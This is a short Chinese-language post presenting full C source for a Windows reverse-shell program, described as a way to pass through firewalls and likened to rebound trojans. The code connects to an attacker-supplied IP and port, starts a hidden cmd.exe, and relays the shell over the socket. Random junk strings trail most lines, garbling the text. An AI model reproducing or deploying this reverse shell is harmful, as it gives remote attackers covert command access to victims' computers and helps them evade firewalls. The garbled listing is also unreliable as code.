Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 hl;u'_AB  
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/* ============================== [Hx0`Nc K  
Rebound port in Windows NT gBd]B03  
By wind,2006/7 *tGY6=7O  
===============================*/  52Yq  
#include #`~C)=-  
#include +<'Ev~  
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#pragma comment(lib,"wsock32.lib") I"xo*}  
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void OutputShell(); O6@j &*jS  
SOCKET sClient; ,1hxw<sNR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f@6QvkIa  
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void main(int argc,char **argv) HsxVZ.dS  
{ 87=&^.~`  
WSADATA stWsaData; 1}"++Z73P  
int nRet; <:_wbVn-  
SOCKADDR_IN stSaiClient,stSaiServer; 1kz\IQ{  
] ;KJ6  
if(argc != 3) i)\L:qF5  
{ m.hkbet/R  
printf("Useage:\n\rRebound DestIP DestPort\n"); -6Z\qxKqZ  
return; $5>e  
} },uF4M.K  
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WSAStartup(MAKEWORD(2,2),&stWsaData); RXNn[A4xfY  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S2E8Gq9  
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stSaiClient.sin_family = AF_INET; Cwr~HY  
stSaiClient.sin_port = htons(0); ^0Zf,40  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N1}c9}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {vs uPY  
{ |U~<3.:m:  
printf("Bind Socket Failed!\n"); lVd^ ^T*fh  
return; 84$nT>c  
} ?xA:@:l/  
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stSaiServer.sin_family = AF_INET; m)8BgCy  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v0ujdp,B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,y1PbA0m  
# q~e^A b  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xg30xC[  
{ Gw=B:kGk  
printf("Connect Error!"); ?yZ+D z\  
return; j 7fL7:,T  
} $yN{-T"  
OutputShell(); toLV4BtIG  
} #||}R[~P"  
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void OutputShell() ><RpEnWZ<  
{ ,ZaRy$?  
char szBuff[1024]; p5Z"|\  
SECURITY_ATTRIBUTES stSecurityAttributes; <5d~P/,  
OSVERSIONINFO stOsversionInfo; GC<l#3+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XND|h#i8  
STARTUPINFO stStartupInfo; PvzcEV  
char *szShell; 9Q.rMs>qj  
PROCESS_INFORMATION stProcessInformation; s kvGU(G}  
unsigned long lBytesRead; \@Ts+7%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZLc -RM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]5mnew  
stSecurityAttributes.lpSecurityDescriptor = 0; Jlri*q"hE  
stSecurityAttributes.bInheritHandle = TRUE; 6wPaJbRtaM  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 26e]`]!SU  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i=ea ?eT`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Bz^jw>1b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5:\},n+VE  
stStartupInfo.wShowWindow = SW_HIDE; 67VL@ ]  
stStartupInfo.hStdInput = hReadPipe; # Nk;4
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; *7:>EP  
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GetVersionEx(&stOsversionInfo); &@G:G(  
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switch(stOsversionInfo.dwPlatformId) !-ok"k0,u  
{ 6rh5h:  
case 1: B%
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szShell = "command.com"; eds o2  
break; 2X.r%&!1M  
default: oin$-i|Xp!  
szShell = "cmd.exe"; nx@=>E+a  
break; g~ZvA(`  
} 56
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gRrL[z  
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send(sClient,szMsg,77,0); H]P. x!I  
while(1) J cPtwa;q@  
{ *,3SGcYdJj  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D~biKrg?=  
if(lBytesRead) [6pD  
{ pN!}UqfI-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'ZT^PV\  
send(sClient,szBuff,lBytesRead,0); 1Y/s%L  
}
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else ;QWIsVz  
{ V\t.3vT  
lBytesRead=recv(sClient,szBuff,1024,0); BD68$y  
if(lBytesRead<=0) break; @"hb) 8ng  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); nePfuG]Q  
} 5*E]ETo@R  
} uvMy^_}L  

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return; zxMXXm;  
}